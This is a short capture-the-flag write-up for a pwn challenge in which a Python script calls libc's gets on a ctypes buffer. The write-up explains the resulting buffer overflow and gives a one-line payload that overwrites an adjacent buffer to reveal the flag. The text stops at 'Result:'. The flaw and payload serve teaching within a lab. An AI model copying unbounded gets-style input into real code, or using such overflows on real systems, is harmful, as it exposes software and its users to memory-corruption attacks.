# HCMUS-CTF
# Pwn: python is safe
The challenge's attachment file: [main.py](https://anonfiles.com/EfD2o1q8z9/main_py)
# First look
Here is what the file looks like:

#!/usr/bin/env python3

from ctypes import CDLL, c_buffer
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
buf1 = c_buffer(512)
buf2 = c_buffer(512)
libc.gets(buf1)
if b'HCMUS-CTF' in bytes(buf2):
    print(open('./flag.txt', 'r').read())

It is not hard to see that the program takes an unbounded input for `buf1` by using `libc.gets()` function, making it vulnerable to a buffer overflow attack.

Input:

python3 -c "print('1'*512+'HCMUS-CTF')"

Result: